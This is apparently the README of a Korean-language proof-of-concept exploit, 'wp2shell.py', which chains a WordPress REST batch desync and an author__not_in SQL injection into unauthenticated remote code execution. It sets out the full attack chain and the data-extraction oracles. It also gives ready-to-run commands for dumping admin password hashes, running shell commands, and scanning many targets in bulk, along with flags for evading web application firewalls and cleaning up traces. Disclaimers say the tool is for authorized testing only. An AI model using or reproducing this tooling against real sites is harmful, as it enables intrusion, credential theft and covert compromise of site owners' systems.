
WordPress 코어용 사전 인증 RCE PoC — CVE-2026-63030(REST /batch/v1 라우트 혼동 디싱크)과 CVE-2026-60137(author__not_in SQLi)을 연쇄적으로 활용하여 인증되지 않은 셸을 획득합니다. 승인된 테스트에만 사용하세요.
CVE-2026-63030 + CVE-2026-60137을 연쇄적으로 활용하는 인증되지 않은 WordPress 코어 RCE PoC입니다. 승인된 테스트 전용입니다.
wp2shell.py는 두 가지 WordPress 코어 취약점을 연쇄하여 인증되지 않은 원격 코드 실행을 달성하는 단일 파일, 표준 라이브러리 전용 개념 증명(PoC)입니다.
| CVE | 구성 요소 | 버그 |
|---|---|---|
| CVE-2026-63030 | REST /batch/v1 핸들러 | 경로 혼동 desync(역동기화) — 하위 요청 경로가 파싱에 실패하면 배치 핸들러가 handler 테이블과 validation 테이블 간의 동기화를 잃게 되어, 검증된 적 없는 핸들러를 통해 하위 요청이 전달됩니다. |
| CVE-2026-60137 | WP_Query | 스칼라 SQL 인젝션 — author__not_in 값이 SQL에 그대로 삽입되므로, 해당 위치에 도달하는 문자열은 인젝션이 가능합니다. |
둘 중 어느 것도 단독으로는 RCE가 아닙니다. desync는 전달 수단입니다(공격자 문자열을 절대 도달해서는 안 되는 쿼리로 몰래 주입합니다); 인젝션은 *프리미티브(primitive)*입니다. 이 둘이 합쳐져 사전 인증 공격자에게 완전한 SQL 읽기/쓰기 오라클을 제공하며, 거기서부터 실제 셸(shell)까지 얻을 수 있습니다.
⚠️ 승인된 테스트 전용입니다. 이 도구는 실제 운영 중인 WordPress 설치를 공격합니다. 소유한 시스템 또는 명시적인 서면 테스트 허가를 받은 시스템에서만 사용하세요.
취약 버전: 6.8.0–6.8.5, 6.9.0–6.9.4, 7.0.0–7.0.1 패치 버전: 6.8.6, 6.9.5, 7.0.2 (이후 버전) 보고자: Adam Kues (Assetnote / Searchlight Cyber); SQLi는 TF1T, dtro, haongo에게도 크레딧이 주어집니다.
RCE가 가능한 버전은 6.9.0–7.0.1뿐입니다. 6.8.x 라인에서는 desync가 여전히 동작하지만, 핸들러를 어긋나게 하는 분기에서 WP_Error::get_method() 치명적 오류(fatal)가 발생합니다. 따라서 6.8.x는 셸이 아닌 서비스 거부(denial-of-service) / 크래시를 유발합니다. 이 도구는 이를 감지하여 사용 가능한 프리미티브가 무엇인지 알려줍니다.
이 익스플로잇은 계층으로 구성되어 있으며, 각 계층은 다음 계층으로 가는 다리 역할을 합니다.
Desync (CVE-2026-63030). 배치(batch) 요청이 두 번째 배치를 중첩합니다. 하나의 하위 요청이 의도적으로 잘못된 경로(http://, wp_parse_url()이 거부함)를 전달합니다. 6.9.0+에서는 파싱 실패로 인해 handler 테이블과 validation 테이블이 한 항목만큼 어긋나므로, 다음 하위 요청이 검증된 적 없는 핸들러 — 공개 게시물 컬렉션(public posts collection) — 로 실행됩니다.
인젝션 (CVE-2026-60137). 잘못 전달된(dispatched) 호출이 공격자가 제어하는 author__not_in과 함께 WP_Query에 도달합니다. 여기서 UNION ALL SELECT는 행을 읽는 것이 아니라 위조(fabricate) 하므로, 쿼리 결과에 임의의 게시물을 만들어낼 수 있습니다.
SQL → 쓰기 브리지. 위조된 게시물은 [embed] 마크업을 담고 있습니다. WordPress는 이를 충실히 해석하여 실제 oembed_cache post-meta 행으로 캐시합니다. 이로써 읽기 전용 인젝션이 임의 쓰기 프리미티브로 변환됩니다.
권한 상승(Privilege pivot). 이 쓰기 브리지를 사용하여 (a) 실제 관리자로 작성된 커스터마이저 changeset과 (b) 자기 참조(self-referential) request 게시물을 위조합니다. 이 둘이 합쳐져 WordPress가 자체 요청 파이프라인을 해당 관리자로 다시 실행하도록 강제하며, 이는 대기 중인 POST /wp/v2/users 호출이 새 관리자를 생성할 수 있을 만큼의 짧은 창(window)을 제공합니다.
셸(Shell). 새 관리자로 로그인하여 플러그인을 업로드하고 명령을 실행합니다. 이후 계정, 해당 메타, oembed 행, 웹셸이 모두 되어 영구적인 흔적이 남지 않습니다.
읽기 측면(--dump, 테이블 접두사 해석, 캐시된 ID)에서 이 도구는 동작하는 가장 빠른 오라클을 자동으로 선택하고 첫 번째 성공에서 중단합니다:
union — 인밴드(in-band) UNION: 위조된 행의 post_title에 |||HEX(value)|||가 포함되며, 이 값이 /wp/v2/posts 응답 본문에 그대로 반영됩니다. 한 번의 요청으로 전체 값(모든 길이)을 읽습니다. UNION이 반영되면 boolean 오라클은 시도되지 않습니다.bool — boolean X-WP-Total 오라클: 혼동된 하위 응답의 X-WP-Total 헤더가 참(true)이면 count>0, 거짓(false)이면 0입니다. 요청당 1비트씩 (이분 탐색).time — 시간 기반 SLEEP(): 응답 본문이 제거되고 동시에 응답이 500인 경우(예: 캐싱 mu-plugin의 디스패치 후 치명적 오류)의 폴백(fallback)입니다. 모든 REST 호출에서 크래시가 발생하는 대상에서도 작동합니다.--dump는 UNION을 사용할 수 있을 때 GROUP_CONCAT을 사용하여 전체 자격 증명 세트를 한 번에 가져옵니다.
없음. Python 3.7+ 표준 라이브러리만 사용 — pip install 불필요.
chmod +x wp2shell.py
# 1. Is it vulnerable? (no injection, no writes, no account created)
./wp2shell.py http://target --check
# 2. Read-only credential dump — FIRST administrator + option secrets
./wp2shell.py http://target --dump
# …every administrator
./wp2shell.py http://target --dump all
# 3. Full RCE — create a temp admin, run a command, clean up
./wp2shell.py http://target --exec "id; uname -a"
./wp2shell.py http://target --user-list # full user table (logins/emails/roles)
./wp2shell.py http://target --content # every post type at status=any (private/draft)
./wp2shell.py http://target --content full # …including each item's raw body
./wp2shell.py -f targets.txt --check --target-threads 8
$wp$2y$… / $P$… / $2y$…)는 hashcat에 바로 사용할 수 있습니다
(phpass는 -m 3200, 또는 WP bcrypt 모드). WordPress 6.8+는 $wp$… bcrypt를 사용합니다.--dump**는 기본적으로 첫 번째 관리자만 대상으로 합니다. 전체 관리자 목록은 **--dump all**을 사용하세요.--oracle time --dump로 전환하세요.--exec 경로는 아무것도 남기지 않도록 설계되었습니다: 임시 관리자, 해당 usermeta, 위조된 oembed_cache 행, 업로드된 웹셸이 모두 도구가 종료되기 전에 제거됩니다. --keep 플래그는 존재하지 않습니다 — 운영자는 클라이언트 시스템에 공격자가 생성한 활성 관리자 계정을 절대 남겨서는 안 됩니다.
wp2shell.py — 익스플로잇 (단일 파일, 표준 라이브러리 전용).취약점 발견, 공개, 그리고 원본 "wp2shell" 기술 문서(write-up)에 대한 크레딧은 Searchlight Cyber / Assetnote 연구팀에 있습니다:
/batch/v1 route-confusion desyncWP_Query author__not_in SQL injection이 저장소는 그들이 공개한 공격 체인의 독립적인 개념 증명(PoC) 구현입니다. 기저 취약점의 발견을 주장하지 않습니다. 크레딧이 불완전하거나 부정확한 경우 이슈를 열면 수정하겠습니다.
이 도구는 승인된 침투 테스트와 방어적 검증을 위한 보안 연구 개념 증명(PoC)입니다. 소유하지 않았거나 서면 테스트 허가를 받지 않은 시스템에 대해 실행하는 것은 불법입니다. 저자는 오용에 대한 책임을 지지 않습니다.
| 플래그 | 용도 |
|---|
url / -f FILE | 단일 대상, 또는 대상 목록 파일 (줄당 하나의 URL) |
--check | 취약점 확인만 수행 — 인젝션, 쓰기, 계정 생성 없음 |
--dump [all] | 첫 번째 관리자의 해시 + 비밀값 덤프; all = 모든 관리자 |
--exec CMD | 임시 관리자 생성 → CMD 실행 → 정리 |
--user-list | 전체 사용자 테이블의 권한 상승 인밴드 읽기 (로그인 없음, 2FA 우회) |
--content [full] | status=any의 모든 게시물 유형에 대한 권한 상승 읽기; full은 본문 포함 |
--oracle {auto,union,bool,time} | 추출 오라클 강제 지정 (기본값 auto) |
--prefix PFX | 자동 해석 대신 테이블 접두사 강제 지정 |
--impersonate UID | 첫 번째 관리자 대신 지정한 사용자 ID로 가장 |
--threads N | 단일 대상 내 동시 추출 프로브 수 (기본값 5) |
--target-threads N | -f의 N개 대상을 동시에 스캔 (기본값 1) |
--proxy URL | 프록시 경유 (예: Burp http://127.0.0.1:8080) |
--timeout SEC | 요청당 타임아웃 (기본값 30) |
--verbose / -v | 원시 배치 하위 응답 덤프 (디버깅) |
| 플래그 | 용도 |
|---|
--form | 배치를 multipart/form-data로 전송 (깨끗한 URL, ?rest_route= 없음) |
--permalink [PREFIX] | /<PREFIX>/batch/v1 경로로 라우팅 (기본값 wp-json); 페이로드를 URL 및 $_POST에서 제외합니다. 팁: --permalink index.php/wp-json은 PATH_INFO를 통해 REST에 도달하여 /wp-json에 고정된 규칙을 우회합니다 |
--dummy N | WAF 검사 버퍼를 넘치게 하기 위해 본문에 N바이트의 정크를 앞에 추가 |
--donor {widgets,categories,tags} | 하나가 500을 반환하면 혼동 유발 공여(donor) 경로 전환 (기본값 widgets) |
--per-page N | per_page 위조 (-1 또는 큰 양수 모두 모든 행 반환; 대상이 -1에서 500을 반환하면 큰 양수 사용) |
--users-route PATH | 사용자 생성 호출의 대체 대소문자/쿼리 (/wp/v2/Users, …?_=1) |
--primer PATH | WAF가 기본 http://: 경로를 지문으로 감지하면 대체 malformed desync 경로 사용 |
--user-agent UA | UA 고정 (기본값: 실행마다 무작위 실제 브라우저 UA) |
--embed-base URL | oembed URL 베이스 재정의 (셀프 임베드 루프백 방지) |